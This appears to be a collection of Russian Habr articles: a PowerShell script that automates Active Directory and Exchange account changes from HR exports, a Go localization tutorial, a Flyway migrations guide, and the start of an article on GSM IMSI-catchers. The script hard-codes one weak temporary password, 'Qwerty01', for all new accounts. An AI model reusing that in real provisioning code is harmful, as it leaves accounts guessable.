| --- | --- |
| $smtpserv | Почтовая отправка(Сервер) |
| $smtpfrom | Почтовая отправка(От кого) |
| $smtpto | Почтовая отправка(Кому) |
| $opertype | Тип операции над пользователем |
| $usrname | SamAccountName |
| $FIO | Фамилия Имя Отчество |
| $curdate | Текущая дата в формате день.месяц.год |
| $del | Элемент массива $delstaff |
| $delstaff | Данные пользователя для увольнения |
| $department | Отдел |
| $dir | Место куда 1С выгружает CSV |
| $get | Элемент массива $getstaff |
| $getstaff | Данные пользователя для приема на работу |
| $groups | Список скопированных групп для отчета |
| $move | Элемент массива $movestaff |
| $movestaff | Данные пользователя для кадрового перемещения |
| $newusername | Имя |
| $newusersurname | Фамилия |
| $Position | Должность |
| $sdel | Разспличенный $del |
| $sget | Разспличенный $get |
| $smove | Разспличенный $move |
| $shablon | SamAccountName шаблона пользователя |
| $spisokf | Список файлов в директории выгрузки из 1С |
| $todayf | Файл в котором находятся кадровые изменения за сегодняшний день |
| $usrcopyfrom | Шаблон пользователя |
| $usrexist | Логин пользователя для проверки на существование |
| $usrpath | Расположение пользователя в AD |
| $usrprop | Свойства пользователя шаблона |
| $usrdomain | Ваш домен |
| $Session | Сессия с консолью управления Exchange |
| $usrshare | Адрес папки пользователя на сетевом хранилище |
| $pass | Временный пароль пользователя |
| $company | Название компании |
| $usrstate | Область расположения компании |
| $usrCity | Город |
| $usrStreetAddress | Улица дом корпус |
| $curuserpath | Текущее расположение перемещаемого пользователя в AD |
| $newuserpath | Целевое расположение перемещаемого пользователя в AD |
| $usrmoveddep | Текущий департамент пользователя для проверки на дублирование приказа на перемещение |
| $usrmovedtit | Текущая должность пользователя для проверки на дублирование приказа на перемещение |
**Элементы в массивах $get|$move|$del**
| | |
| --- | --- |
| [0] | Тип операции прием на работу/перемещение/увольнение |
| [1] | SamAccountName |
| [2] | ФИО |
| [3] | Должность |
| [4] | Отдел |
Сам скрипт:
```
#Переменные почтовой отправки
$smtpserv = "post.domain.local"
$smtpfrom = "AUTOUSERCHANGER@domain.local"
$smtpto = "sysadmin@domain.local"
$encoding = [System.Text.Encoding]::UTF8
$smtpBody = ""
#Директория в которую выгружаются файлы из 1С
$dir= "\\fileserver\1C\"
#Домен
$usrdomain="domain.local"
#Получение файлов csv для обработки
$spisokf=Get-Childitem -File -Path $dir*.csv | Select-Object -ExpandProperty Name
#Поиск запланированных на сегодня кадровых изменений
$curdate=Get-Date -Format dd.MM.yyyy
$todayf=$spisokf | Select-String $curdate
#Парсинг файлов и загон данных в переменные
$getstaff= Get-Content $dir$todayf |Select-String "прием на работу"
$movestaff= Get-Content $dir$todayf |Select-String "перемещение"
$delstaff= Get-Content $dir$todayf |Select-String "увольнение"
#Включение поддержки EXCHANGE и ActiveDirectory
if ($getstaff -ne $null -or $movestaff -ne $null -or $delstaff -ne $null)
{
$Session=New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://post.domain.local/PowerShell/ -Authentication Kerberos
Import-PSSession $Session -AllowClobber | out-null
Import-Module ActiveDirectory
}
else
{
Write-Host "Нет данных для операций над пользователями"
}
#Создание пользователя
function usrcreate ()
{
#Перебор массива принимаемых на работу
ForEach ($get in $getstaff)
{
#Сплит массива
$sget=$get -split (";")
$opertype = $sget[0]
$usrname=$sget[1]
$FIO=$sget[2]
$Position=$sget[3]
$department=$sget[4]
#Проверка на существование пользователя
$usrexist=Get-ADUser -filter {(SamAccountName -eq $usrname)} | Select-Object -ExpandProperty SamAccountName
if ($usrexist -eq $null)
{
#Шара пользовательских папок
$usrshare="\\FILESERVER\Users\$usrname"
#Поиск пользователя для шаблона
$shablon=Get-ADUser -filter { (physicalDeliveryOfficeName -like $department) -and (title -like $Position) -and (Enabled -eq $true) -and (SamAccountName -ne $usrname)} | Select-Object -ExpandProperty SamAccountName
$usrcopyfrom=$shablon[1]
#-Path
$usrprop= Get-ADUser -Identity $usrcopyfrom | Select-Object -ExpandProperty DistinguishedName
$usrpath= ($usrprop -split ',',2)[1]
#-name
$newusername=($FIO-split ' ')[1]
#-Surname
$newusersurname=($FIO-split ' ')[0]
#-AccountPassword
$pass="Qwerty01"
#-company
$company= Get-ADUser -Identity $usrcopyfrom -Properties Company | Select-Object -ExpandProperty company
#-State
$usrstate= Get-ADUser -Identity $usrcopyfrom -Properties State | Select-Object -ExpandProperty State
#-City
$usrCity= Get-ADUser -Identity $usrcopyfrom -Properties City | Select-Object -ExpandProperty City
#-StreetAddress
$usrStreetAddress= Get-ADUser -Identity $usrcopyfrom -Properties StreetAddress | Select-Object -ExpandProperty StreetAddress
#Создание пользователя
New-ADUser `
-name $FIO `
-AccountPassword (ConvertTo-SecureString $pass -AsPlainText -Force) `
-ChangePasswordAtLogon $true `
-Company $company `
-Department $department `
-Description $Position `
-DisplayName $FIO `
-Enabled $true `
-HomeDirectory $usrshare `
-HomeDrive "**БУКВА ДИСКА ДОМАШНЕЙ ПАПКИ**" `
-Path $usrpath `
-PostalCode "**ПОЧТОВЫЙ ИНДЕКС ЦИФРАМИ**" `
-SamAccountName $usrname `
-UserPrincipalName "$usrname@$usrdomain" `
-State $usrstate `
-StreetAddress $usrStreetAddress `
-Surname $newusersurname `
-Title $Position `
-GivenName $newusername `
-City $usrCity `
-Office $department ` | out-null
#Ожидание создания пользователя
Start-Sleep -Seconds 10
#Копирование групп с пользовательского шаблона
$groups=Get-ADUser -Identity $usrcopyfrom -Properties memberof | Select-Object -ExpandProperty memberof|Add-ADGroupMember -Members $usrname -PassThru | Select-Object -ExpandProperty SamAccountName
#Создание пользовательской папки на сетевом диске (с проверкой есть ли папка с таким именем)
if(!(Test-Path -Path $usrshare ))
{
New-item $usrshare -type directory | out-null
$acl = Get-Acl $usrshare
$acl | Format-List
$acl.GetAccessRules($true, $true, [System.Security.Principal.NTAccount])
$acl.SetAccessRuleProtection($true, $true)
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule ("$usrdomain\$usrname","FullControl", "ContainerInherit, ObjectInherit", "None", "Allow")
$acl.addAccessRule($rule)
Set-Acl $usrshare $acl | out-null
}
else
{
$acl = Get-Acl $usrshare
$acl | Format-List
$acl.GetAccessRules($true, $true, [System.Security.Principal.NTAccount])
$acl.SetAccessRuleProtection($true, $true)
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule ("$usrdomain\$usrname","FullControl", "ContainerInherit, ObjectInherit", "None", "Allow")
$acl.addAccessRule($rule)
Set-Acl $usrshare $acl | out-null
}
#Включение ящика пользователя
Enable-Mailbox "$usrname@$usrdomain" -Database "**ИМЯ БАЗЫ ДАННЫЙ ПОЧТЫ**" | out-null
#Вывод групп для отчета
foreach ($group in $groups) {$smtpBody = $smtpBody +$group+"`n`n"}
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) ""$Position"" отдела ""$department"" создан.`n`nДобавлен в группы:`n$smtpBody" -SmtpServer $smtpserv -Encoding $encoding
#Очистка переменных
$smtpBody=""
}
else
{
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) уже существует." -SmtpServer $smtpserv -Encoding $encoding
}
#Удаление обработанной строки из файла
(Get-Content $dir$todayf) | Where-Object {$_ -notmatch $get} | Set-Content -Path $dir$todayf -Force
}
}
#Запуск создания пользователя
if ($getstaff -ne $null)
{
#Запуск функции создания пользователя
#usrcreate
#Ожидание завершения процессов
Start-Sleep -Seconds 10
}
else
{
Write-Host "Нет пользователей для создания"
}
#Кадровое перемещение
function usrmove ()
{
ForEach ($move in $movestaff)
{
#Сплит массива
$smove=$move -split (";")
$opertype = $smove[0]
$usrname=$smove[1]
$FIO=$smove[2]
$Position=$smove[3]
$department=$smove[4]
#Проверка на существование пользователя
$usrmoveddep =Get-ADUser -Identity $usrname -Properties Department |Select-Object -ExpandProperty Department
$usrmovedtit =Get-ADUser -Identity $usrname -Properties title |Select-Object -ExpandProperty title
if ($usrmoveddep -ne $department -or $usrmovedtit -ne $Position)
{
#Поиск пользователя для шаблона
$shablon=Get-ADUser -filter { (physicalDeliveryOfficeName -like $department) -and (title -like $Position) -and (Enabled -eq $true) } | Select-Object -ExpandProperty SamAccountName
$usrcopyfrom=$shablon[1]
#Замена должности и отдела пользователя
Set-ADUser -Identity $usrname -Department $department -Description $Position -Title $Position -Replace @{physicalDeliveryOfficeName = $department}
#Текущее расположение перемещаемого пользователя
$curuserpath= Get-ADUser -Identity $usrname |Select-Object -ExpandProperty DistinguishedName
#Целевое расположение перемещаемого пользователя
$usrprop= Get-ADUser -Identity $usrcopyfrom | Select-Object -ExpandProperty DistinguishedName
$newusrpath= ($usrprop -split ',',2)[1]
#Перемещение пользователя
Move-ADObject -Identity $curuserpath -TargetPath $newusrpath
#Отключаем запрос на подтверждение при удалении из групп, и вывод ошибок.
$ConfirmPreference = "None"
$ErrorActionPreference = "SilentlyContinue"
#Удаление всех групп у перемещаемого пользователя, кроме domain users
Remove-ADPrincipalGroupMembership -Identity $usrname -MemberOf $(Get-ADPrincipalGroupMembership -Identity $usrname | Where-Object {$_.DistinguishedName -ne 'CN=Domain Users,CN=Users,DC=**domain**,DC=**local**'})
#Копирование групп с пользовательского шаблона
$groups=Get-ADUser -Identity $usrcopyfrom -Properties memberof | Select-Object -ExpandProperty memberof|Add-ADGroupMember -Members $usrname -PassThru | Select-Object -ExpandProperty SamAccountName
#Вывод групп для отчета
foreach ($group in $groups) {$smtpBody = $smtpBody +$group+"`n`n"}
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) ""$Position"" отдела ""$department"" перемещен.`n`nДобавлен в группы:`n$smtpBody" -SmtpServer $smtpserv -Encoding $encoding
#Очистка переменных
$smtpBody=""
}
else
{
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) уже имеет должность ""$Position"" отдела ""$department""" -SmtpServer $smtpserv -Encoding $encoding
}
#Удаление обработанной строки из файла
(Get-Content $dir$todayf) | Where-Object {$_ -notmatch $move} | Set-Content -Path $dir$todayf -Force
}
}
#Запуск перемещения пользователя
if ($movestaff -ne $null)
{
#Запуск функции создания пользователя
#usrmove
#Ожидание завершения процессов
Start-Sleep -Seconds 10
}
else
{
Write-Host "Нет пользователей для перемещения"
}
#Увольнение
function usrdelete ()
{
ForEach ($del in $delstaff)
{
#Сплит массива
$sdel=$del -split (";")
$opertype = $sdel[0]
$usrname=$sdel[1]
$FIO=$sdel[2]
$Position=$sdel[3]
$department=$sdel[4]
#Проверка на существование пользователя
$usrdeleted =Get-ADUser -Identity $usrname | Where-Object {$_.Enabled -eq $false}
if ($usrdeleted -eq $null)
{
#Отключаем запрос на подтверждение при удалении из групп, и вывод ошибок.
$ConfirmPreference = "None"
$ErrorActionPreference = "SilentlyContinue"
#Отключение ящика пользователя
Disable-Mailbox -Identity "$usrname@$usrdomain" -confirm:$false
#Удаление всех групп у перемещаемого пользователя, кроме domain users
Remove-ADPrincipalGroupMembership -Identity $usrname -MemberOf $(Get-ADPrincipalGroupMembership -Identity $usrname | Where-Object {$_.DistinguishedName -ne 'CN=Domain Users,CN=Users,DC=**domain**,DC=**local**'})
#Текущее расположение перемещаемого пользователя
$curuserpath = Get-ADUser -Identity $usrname |Select-Object -ExpandProperty DistinguishedName
#Перемещение пользователя в контейнер отключенных пользователей
Move-ADObject -Identity $curuserpath -TargetPath "OU=USER_DISABLE,OU=TO_DELETE_USER_COMPUTER_GROUP_OU,DC=**domain**,DC=**local**"
#Отключение аккаунта пользователя
Disable-ADAccount $usrname
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) ""$Position"" отдела ""$department"" уволен и отключен." -SmtpServer $smtpserv -Encoding $encoding
}
else
{
#Отправка отчета на почту
Send-MailMessage -From $smtpfrom -Subject $opertype -To $smtpto -Body "Пользователь $FIO ($usrname) ""$Position"" отдела ""$department"" уже был отключен." -SmtpServer $smtpserv -Encoding $encoding
}
#Удаление обработанной строки из файла
(Get-Content $dir$todayf) | Where-Object {$_ -notmatch $del} | Set-Content -Path $dir$todayf -Force
}
}
#Запуск перемещения пользователя
if ($delstaff -ne $null)
{
#Запуск функции создания пользователя
usrdelete
#Ожидание завершения процессов
Start-Sleep -Seconds 10
}
else
{
Write-Host "Нет пользователей для перемещения"
}
``` | https://habr.com/ru/post/280710/ | null | ru | null |
# Локализация в Go с помощью базовых пакетов
Создать хорошее приложение непросто. Какое бы уникальное и полезное приложение вы ни написали, если оно не нравится пользователю, то у вас, как говорится, a big problem. Большинству людей не нравится и отпугивает все, что им непонятно. Зачастую пользовательский интерфейс и письма — это та видимая верхушка айсберга вашего приложения, по которой пользователь его оценивает. Поэтому локализация всего, что видит пользователь, крайне важна.
Вспомните, как еще десять лет назад, когда интернет только начинал входить в жизнь масс, а многие сегодняшние IT-гиганты находились в стадии стартап-карликов с парой десятков сотрудников, в порядке вещей было отправить пользователю письмо на английском. И пользователи относились к этому с пониманием. Сегодня же, когда в интернете присутствуют все и не нужно быть семи пядей во лбу, иметь высшее образование или знать английский, чтобы им пользоваться, считается дурным тоном не поддерживать в своем приложении локализацию. К слову, в нашей компании локализация всех текстов UI уже осуществляется на 20 языков и список поддерживаемых языков постоянно растет.
В Go, как в довольно молодом языке, все современные тренды веб-разработки реализованы на уровне базовых пакетов и не требуют дополнительных «танцев с бубном». (Я начал изучать Go несколько лет назад, но до сих пор помню то ощущение «открывшихся сверхспособностей», которое испытывал первые дни после знакомства с этим языком. Казалось, теперь я могу реализовать любую задачу, написав всего пару строк.)
Конечно, не обошли в Go стороной и локализацию. Локализация в нем доступна практически «из коробки» с помощью базовых пакетов: **golang.org/x/text/language**, **golang.org/x/text/message** и **golang.org/x/text/feature/plural**. Давайте рассмотрим, как просто в Go всего за полчаса, используя эти пакеты, можно реализовать такую нетривиальную задачу, как локализация писем.
Забегая вперед скажу, что цель этой статьи — в первую очередь показать мощь и красоту Go и осветить базовые возможности пакеты message по работе с локализациями. Если вы ищете решение для приложения на продакшене, возможно, вам лучше подойдет [готовая библиотека](https://github.com/nicksnyder/go-i18n/). Преимущества *go-i18n* — множество звезд на github (среди них есть и моя) и большая гибкость. Впрочем, найдутся и аргументы против ее использования: вам может быть и не нужна вся та гибкость и функциональность; зачем использовать внешнюю библиотеку, когда все уже реализовано в самом языке; если у вас уже существует своя система переводов со своими форматами, эта библиотека «как есть», скорее всего, не подойдет и ее так или иначе придется дорабатывать под себя; ну и, в конце концов, использовать стороннюю библиотеку не так интересно и познавательно, как сделать что-то самому.
Сформулируем основные требования к реализуемой задаче. Имеются: а) метки в формате yaml: *“label\_name: translation text”*; язык перевода задается в названии файла, например ru.yml; б) шаблоны писем в html. Необходимо на основе входных параметров: locale и массива с данными — генерировать локализованный текст письма.
И приступим… Но сперва еще несколько слов о пакете message (golang.org/x/text/message). Она предназначена для форматирования вывода локализованных строк. Message реализует интерфейс стандартного пакета fmt и может ее заменять. Пример использования:
```
message.SetString(language.Russian, "toxic", "токсичный")
message.SetString(language.Japanese, "toxic", "毒性")
message.NewPrinter(language.Russian).Println(“toxic”)
message.NewPrinter(language.Japanese).Println(“toxic”)
//Результат:
//токсичный
//毒性
```
Чтобы пакет «видел» метку, ее необходимо предварительно объявить. В примере для этого используется функция SetString. Далее создается printer для выбранного языка и выводится непосредственно локализованная строка.
Для решения нашей задачи мы могли бы генерировать go-файл со всеми метками, но это не очень удобно, так как при добавлении новых меток придется каждый раз перегенерировать этой файл и билдить приложение заново. Другой способ сообщить message о наших метках — использовать словари. Cловарь — это структура, реализующая интерфейс поиска метки *Lookup(key string) (data string, ok bool)*.
Вариант со словарями нам подходит. Для начала определим структуру словаря и реализуем для него интерфейс Lookup:
```
type dictionary struct {
Data map[string]string
}
func (d *dictionary) Lookup(key string) (data string, ok bool) {
if value, ok := d.Data[key]; ok {
return "\x02" + value, true
}
return "", false
}
```
Спарсим все метки из yaml-файлов в коллекцию словарей, представляющую собой мапу формата *map[lang]\*dictionary*, где *lang* — тег языка в формате [BCP47](https://tools.ietf.org/html/bcp47).
```
func parseYAMLDict() (map[string]catalog.Dictionary, error) {
dir := "./translations"
files, err := ioutil.ReadDir(dir)
if err != nil {
return nil, err
}
translations := map[string]catalog.Dictionary{}
for _, f := range files {
yamlFile, err := ioutil.ReadFile(dir + "/" + f.Name())
if err != nil {
return nil, err
}
data := map[string]string{}
err = yaml.Unmarshal(yamlFile, &data)
if err != nil {
return nil, err
}
lang := strings.Split(f.Name(), ".")[0]
translations[lang] = &dictionary{Data: data}
}
return translations, nil
}
```
Установим коллекцию словарей в init-функции, чтобы словари стали использоваться пакетом message при старте приложения.
```
func init() {
dict, err := parseYAMLDict()
if err != nil {
panic(err)
}
cat, err := catalog.NewFromMap(dict)
if err != nil {
panic(err)
}
message.DefaultCatalog = cat
}
```
Итак, на текущий момент мы добились доступности локализации меток из наших файлов в любом месте программы:
```
message.NewPrinter(language.Russian).Println(“label_name”)
```
Настало время перейти ко второй части задачи и подставить наши локализованные метки в шаблоны писем. Для примера рассмотрим простое сообщение — приветственное письмо при регистрации пользователя:
*Hello, Bill Smith!*
Для парсинга используем другой стандартный пакет — **html/template**. При парсинге шаблонов в template можно задать свои функции через *.Funcs()*:
```
template.New(tplName).Funcs(fmap).ParseFiles(tplName)
```
Добавим в шаблон функцию, которая будет переводить метки и подставлять в них переменные, и назовем ее *translate*. Код парсинга шаблона:
```
//Язык локализации
lang:=language.Russian
//Название шаблона
tplName:=”./templates/hello.html”
//Переменные в шаблоне
data := &struct {
Name string
LastName string
}{Name: "Bill", LastName: "Smith"}
fmap := template.FuncMap{
//Функция локализации метки
"translate": message.NewPrinter(lang).Sprintf,
}
t, err := template.New(tplName).Funcs(fmap).ParseFiles(tplName)
if err != nil {
panic(err)
}
buf := bytes.NewBuffer([]byte{})
if err := t.Execute(buf, data); err != nil {
panic(err)
}
fmt.Println(buf.String())
```
Итоговый шаблон письма ./templates/hello.html:
```
{{translate "hello\_subject"}}
{{translate "hello\_msg" .Name .LastName}}
```
Так как в *translate* для локализации мы используем функцию *Sprintf*, то переменные в текст меток будут зашиваться с использованием синтаксиса этой функции. Например, *%s* — строка, *%d* — целое число.
Файлы с метками
en.yml
```
hello_subject: Greeting mail
hello_msg: Hello, %s %s!
```
ru.yml
```
hello_subject: Приветственное письмо
hello_msg: Привет, %s %s!
```
На этом, в принципе, и все, локализация писем готова! Написав лишь несколько десятков строк кода, мы получили мощную функциональность, дающую возможность локализовывать письма любой сложности на десятки языков.
Если вам понравился данный пример, вы можете пойти дальше и самостоятельно реализовать плюрализацию, использование для переменных в метках вместо *%s* названий переменных и использование функций в метках. Я сознательно не стал этого делать, чтобы оставить простор для вашей фантазии.
Приведенный в примерах код написан специально для демонстрации возможностей пакета message и не претендует на идеальность, полный листинг кода доступен на [github](https://github.com/paveloborin/goloc). | https://habr.com/ru/post/431604/ | null | ru | null |
# Миграции баз данных с Flyway
***Перевод статьи подготовлен в преддверии старта курса [«Разработчик Java»](https://otus.pw/gOMf/).***
![](https://habrastorage.org/r/w1560/webt/4c/fb/o8/4cfbo82txxtdk9c6uth8ky1zqxa.png)
---
### 1. Введение
В этой статье описываются ключевые концепции [Flyway](https://flywaydb.org/) и пример использования этого фреймворка для непрерывного изменения схемы базы данных на примере in-memory базы данных H2 с помощью maven-плагина flyway.
Flyway обновляет версии баз данных с помощью миграций. Миграции можно писать на SQL (с синтаксисом, специфичным для конкретной СУБД) или на Java.
Миграции могут быть версионными или повторяющимися. Первые имеют уникальную версию и применяются ровно один раз. У вторых номера версии нет, и они применяются, когда у них изменяется контрольная сумма.
Повторяющиеся миграции в рамках одного запуска всегда применяются после выполнения версионных миграций. Повторяющиеся миграции применяются в порядке их описания. В одной миграции все операции выполняются в рамках одной транзакции базы данных.
В этой статье мы сосредоточим внимание на использовании maven-плагина для миграций базы данных.
### 2. Flyway maven plugin
Добавим flyway maven plugin в `pom.xml`:
```
org.flywaydb
flyway-maven-plugin
4.0.3
```
Актуальную версию плагина можно посмотреть в [Maven Central](https://mvnrepository.com/artifact/org.flywaydb/flyway-maven-plugin).
Список параметров плагина, можно посмотреть в [документации](https://flywaydb.org/documentation/maven/migrate). Параметры плагина можно настроить четырьмя различными способами.
2.1. Раздел плагина
Параметры можно указать напрямую в теге в разделе плагина в `pom.xml`:
```
org.flywaydb
flyway-maven-plugin
4.0.3
databaseUser
databasePassword
schemaName
...
```
#### 2.2. Maven properties
Также плагин можно настроить, указав параметры в ``<`properties>`:
```
...
databaseUser
databasePassword
schemaName
...
...
```
#### 2.3. Внешний файл конфигурации
Или описать конфигурацию в отдельном `.properties`-файле:
```
flyway.user=databaseUser
flyway.password=databasePassword
flyway.schemas=schemaName
...
```
По умолчанию имя файла конфигурации `flyway.properties`. Этот файл должен находиться в том же каталоге, что и файл `pom.xml`. Кодировка задается в параметре `flyway.encoding` (по умолчанию UTF-8).
Если для файла вы используете другое имя (например, `customConfig.properties`), то его нужно указать явно при вызове maven:
```
$ mvn -Dflyway.configFile=customConfig.properties
```
#### 2.4. System Properties
И наконец, параметры могут быть указаны как system properties при вызове maven из командной строки:
```
$ mvn -Dflyway.user=databaseUser -Dflyway.password=databasePassword
-Dflyway.schemas=schemaName
```
Если конфигурация указана несколькими способами, то приоритет будет следующий:
1. System properties
2. Внешний файл конфигурации
3. Раздел `<`properties`>`
4. Раздел `<`configuration`>` плагина
### 3. Пример миграции
В этом разделе мы рассмотрим необходимые шаги для миграции схемы базы данных на примере in-memory базы данных H2 с помощью maven-плагина. Для конфигурации Flyway мы будем использовать внешний файл.
#### 3.1. Изменения в POM
Для начала, добавим зависимость на H2:
```
com.h2database
h2
1.4.196
```
Здесь мы также можем проверить последнюю доступную версию драйвера в [Maven Central](https://search.maven.org/classic/#search%7Cga%7C1%7Cg%3A%22com.h2database%22%20AND%20a%3A%22h2%22). Плагин для Flyway добавляем, как было описано ранее.
#### 3.2. Настройка Flyway во внешнем файле
Создаем в `$PROJECT_ROOT` файл `myFlywayConfig.properties` со следующим содержимым:
```
flyway.user=databaseUser
flyway.password=databasePassword
flyway.schemas=app-db
flyway.url=jdbc:h2:mem:DATABASE
flyway.locations=filesystem:db/migration
```
Приведенная выше конфигурация указывает, что скрипты миграции находятся в каталоге `db/migration`, а для подключения к базе данных H2 используются `databaseUser` и `databasePassword`.
Схема базы данных для приложения — `app-db`.
Конечно, в параметрах `flyway.user`, `flyway.password` и `flyway.url` необходимо указать имя, пароль и URL вашей базы данных.
#### 3.3. Первая миграция
По соглашениям Flyway имена скриптов миграции должны быть в следующем формате:
```
><Version>__<Description>.sql
```
Где:
* `<`Prefix> — префикс. Для версионных миграций по умолчанию равен “V”. Префикс настраивается через свойство flyway.sqlMigrationPrefix.
* `<`Version> — номер версии миграции. Мажорную и минорную версии можно разделить подчеркиванием. Версия всегда должна начинаться с 1.
* `<`Description> — текстовое описание миграции. Описание должно быть отделено от номера версии двумя подчеркиваниями.
Пример: `V1_1_0__my_first_migration.sql`
Итак, давайте создадим каталог `db/migration` в `$PROJECT_ROOT` со скриптом миграции `V1_0__create_employee_schema.sql` и SQL для создания таблицы `employee`:
```
CREATE TABLE IF NOT EXISTS `employee` (
`id` int NOT NULL AUTO_INCREMENT PRIMARY KEY,
`name` varchar(20),
`email` varchar(50),
`date_of_birth` timestamp
)ENGINE=InnoDB DEFAULT CHARSET=UTF8;
```
#### 3.4. Выполняем миграции
Далее, в `$PROJECT_ROOT` запускаем следующую команду maven для применения миграций базы данных:
```
$ mvn clean flyway:migrate -Dflyway.configFile=myFlywayConfig.properties
```
Должна выполниться наша первая миграция.
Теперь схема базы данных выглядит следующим образом:
employee:
```
+----+------+-------+---------------+
| id | name | email | date_of_birth |
+----+------+-------+---------------+
```
Мы можем повторить предыдущие шаги для выполнения других миграций.
#### 3.5. Вторая миграция
Для второй миграции создаем файл с именем `V2_0_create_department_schema.sql`, содержащий следующие два запроса:
```
CREATE TABLE IF NOT EXISTS `department` (
`id` int NOT NULL AUTO_INCREMENT PRIMARY KEY,
`name` varchar(20)
)ENGINE=InnoDB DEFAULT CHARSET=UTF8;
ALTER TABLE `employee` ADD `dept_id` int AFTER `email`;
```
Выполним миграцию, также как делали для первой миграции.
Теперь схема нашей базы данных изменилась: в `employee` добавлен новый столбец и создана новая таблица `department`:
`employee:`
```
+----+------+-------+---------+---------------+
| id | name | email | dept_id | date_of_birth |
+----+------+-------+---------+---------------+
```
`department:`
```
+----+------+
| id | name |
+----+------+
```
Для проверки, что обе миграции прошли успешно, запустим следующую команду maven:
```
$ mvn flyway:info -Dflyway.configFile=myFlywayConfig.properties
```
### 4. Отключение Flyway в Spring Boot
Иногда может потребоваться отключить Flyway-миграции.
Это может понадобиться во время тестов, когда схема базы данных генерируется на основе сущностей. В этом случае можно отключить Flyway для тестового профиля.
В Spring Boot это сделать очень просто.
#### 4.1. Spring Boot 1.x
Все, что нам нужно сделать, это установить свойство `flyway.enabled` в файле `application-test.properties`:
```
flyway.enabled=false
```
#### 4.2. Spring Boot 2.x
В более поздних версиях Spring Boot это свойство было изменено на
```
spring.flyway.enabled:
spring.flyway.enabled=false
```
#### 4.3 Пустая FlywayMigrationStrategy
Если мы хотим отключить только автоматическую миграцию Flyway при запуске, но хотим запускать миграции вручную, то использование вышеописанных свойств нам не подойдет.
Это связано с тем, что Spring Boot не будет автоматически конфигурировать бины Flyway и, следовательно, нам придется настраивать их самостоятельно, что не очень удобно.
В этом случае мы можем оставить Flyway включенным и реализовать пустую [FlywayMigrationStrategy](https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/autoconfigure/flyway/FlywayMigrationStrategy.html):
```
@Configuration
public class EmptyMigrationStrategyConfig {
@Bean
public FlywayMigrationStrategy flywayMigrationStrategy() {
return flyway -> {
// do nothing
};
}
}
```
Фактически это отключит Flyway-миграции при запуске приложения.
Но мы все равно можем запускать миграции вручную:
```
@RunWith(SpringRunner.class)
@SpringBootTest
public class ManualFlywayMigrationIntegrationTest {
@Autowired
private Flyway flyway;
@Test
public void skipAutomaticAndTriggerManualFlywayMigration() {
flyway.migrate();
}
}
```
### 5. Как работает Flyway
Для отслеживания когда, кем и какие миграции были применены, в схему базы данных добавляется специальная таблица с метаданными. В этой таблице также хранятся контрольные суммы миграций и информация о том успешна была миграция или нет.
Фреймворк работает следующим образом:
1. Проверяет схему базы данных на наличие таблицы метаданных (по умолчанию `SCHEMA_VERSION`). Если таблица метаданных не существует, то создает ее.
2. Сканирует classpath на наличие доступных миграций.
3. Сравнивает миграции с таблицей метаданных. Если номер версии меньше или равен версии, помеченной как текущая, то игнорирует ее.
4. Отмечает все оставшиеся миграции как ожидающие (pending). Потом сортирует их по возрастанию номеров версий и выполняет в указанном порядке.
5. По мере применения миграций обновляет таблицу метаданных.
### 6. Команды
В Flyway есть следующие основные команды по управлению миграциями:
* **Info**. Отображение текущего состояния / версии схемы базы данных. Информация о том, какие миграции ожидаются, какие были применены, состояние выполненных миграций и дата их выполнения.
* **Migrate**. Обновление схемы базы данных до текущей версии. Сканирование classpath для поиска доступных миграций и применение ожидающих миграций.
* **Baseline**. Установка версии схемы базы данных, игнорируя миграции до baselineVersion включительно. Baseline помогает использовать Flyway на уже существующей базе данных. Новые миграции применяются в обычном режиме.
* **Validate**. Проверка текущей схемы базы данных на соответствие доступным миграциям.
* **Repair**. Восстановление таблицы метаданных.
* **Clean**. Удаление всех объектов в схеме. Конечно, никогда не нужно использовать clean в продакшен базах данных.
### 7. Заключение
* В этой статье мы показали, как работает Flyway и как его можно использовать для надежного и простого управления изменениями базы данных.
* Код статьи доступен на [GitHub](https://github.com/eugenp/tutorials/tree/master/persistence-modules/flyway).
---
[УПРАВЛЯЕМ ВЕРСИЯМИ БАЗЫ ДАННЫХ ЧЕРЕЗ FLYWAY](https://otus.pw/gOMf/)
--- | https://habr.com/ru/post/506788/ | null | ru | null |
# GSM-ловушки: ещё один привет от Большого Брата
![](https://habrastorage.org/r/w780q1/files/818/253/702/8182537027204f9db4c8c032f528bdef.jpg)
Предлагаю сегодня поговорить о скрытой и неизведанной области — GSM-связи. Почему же неизведанной, спросите вы? Ведь все носят в кармане сотовый телефон, чуть ли не дошкольники ходят с ними, а базовые станции висят на каждом столбе? Увы, обыватель считает, что всё просто и прозрачно: совершает звонки, посылает СМС. И редко задумывается над процессами, которые обеспечивают все эти действия. В этом статье я попробую показать, что GSM-связь — с одной стороны весьма непрозрачная тема, а с другой — прорва уязвимостей. Если конкретнее – то поговорим о так называемых IMSI-ловушках (или IMSI-catchers).
Введение
--------
Начнём издалека, а именно с того, что GSM-связь очень плохо поддаётся изучению. Нельзя *просто так взять* © и поэкспериментировать с мобильной связью. Хотите соорудить девайс и подключиться к сети, анализировать протокол? Облом — коммуникационные процессоры не имеют нужного API и тем более открытого кода. По сути — это чёрные ящики за семью замками. Максимум, что они “выставляют” наружу — примитивный интерфейс на основе AT-команд. Хотя, если быть точным, то иногда немного больше – но об этом позже.
Поднять ~~свой сервер~~ свою базовую станцию? Это долго, дорого и за вами могут приехать. Существуют замечательные проекты, такие как OpenBTS и SDR (software defined radio), но не обольщайтесь. Во-первых, полноценная сотовая сеть состоит из множества компонентов, а во-вторых — необходимое железо неприлично дорогое. Вот такая несправедливость.
![](https://habrastorage.org/r/w780q1/files/ee8/832/ae7/ee8832ae742a435ab093e95d92a0a8d1.jpg)
*Не хотите ли прикупить OpenBTS development kit (сетей 2.5G) фирмы Range Networks за $3300?*
![](https://habrastorage.org/r/w780q1/files/11f/c39/524/11fc39524e45429db64760f89a0e2d12.jpg)
